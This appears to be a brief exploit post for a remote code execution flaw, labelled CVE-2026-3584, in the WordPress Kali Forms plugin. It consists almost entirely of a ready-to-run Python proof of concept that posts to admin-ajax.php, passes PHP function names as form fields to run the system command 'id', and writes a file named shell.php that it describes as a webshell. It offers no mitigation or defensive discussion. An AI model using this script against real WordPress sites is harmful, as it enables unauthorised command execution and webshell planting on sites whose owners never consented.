CVE-2026-3584 WordPress Kali Forms插件远程代码执行漏洞

import requests # Target URL (replace with actual target) target_url = "http://example.com/wp-admin/admin-ajax.php" # The payload exploits the prepare_post_data -> call_user_func issue # We map a PHP function name (key) to an argument (value) payload = { "action": "kali_forms_process_form", # Specific action for the plugin "form_id": "1", # Malicious payload: 'system' is the function, 'id' is the command "system": "id", # Another example to write a webshell "file_put_contents": ["shell.php", "<?php phpinfo(); ?>"] } try: response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")